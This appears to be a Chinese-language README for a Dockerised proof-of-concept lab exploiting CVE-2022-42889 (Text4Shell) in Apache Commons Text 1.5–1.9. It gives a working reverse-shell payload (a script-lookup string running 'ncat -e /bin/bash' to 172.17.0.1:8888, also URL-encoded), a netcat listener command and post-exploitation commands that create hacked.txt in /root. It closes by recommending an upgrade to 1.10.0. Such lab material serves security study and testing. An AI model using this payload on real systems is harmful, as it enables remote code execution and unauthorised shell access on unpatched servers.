
一个简单的 Docker 化应用程序,演示如何利用 CVE-2022-42889 漏洞。
Apache Commons-Text 漏洞 CVE-2022-42889 的概念验证攻击代码。
Apache Commons Text 支持变量插值,允许动态评估和扩展属性。插值的标准格式为 ${prefix:name},其中“prefix”用于定位实现插值的 org.apache.commons.text.lookup.StringLookup 实例。从版本 1.5 到 1.9,默认的 Lookup 实例包含的插值器可能导致任意代码执行或与远程服务器建立连接。这些插值器包括:
Apache Commons Text 版本 1.5 到 1.9
CVE-2022-42889-POC 漏洞的逐步指南:docker build --tag=test/text4shell .
docker run -it -p 80:8080 --name text4shell test/text4shell
docker exec -it text4shell /bin/bash
nc -nlvp 8888
curl http://localhost/text4shell/attack?search=<anything>
攻击可以通过传递一个字符串
\$\{prefix:name\}\来实现,其中前缀是前面提到的查找方式:${script:javascript:java.lang.Runtime.getRuntime().exec('ncat -e /bin/bash 172.17.0.1 8888')}
curl http://localhost/text4shell/attack?search=%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime%28%29.exec%28%27ncat%20-e%20%2Fbin%2Fbash%20172.17.0.1%208888%27%29%7D
pwd
cd /root
pwd
ls
pwd
cd /root
pwd
ls
touch hacked.txt
ls
pwd
ls
如果你能在终端标签页 3 中执行
ls命令后看到hacked.txt文件,说明攻击已成功执行。

建议用户升级到 Apache Commons Text 1.10.0,该版本默认禁用了存在问题的插值器。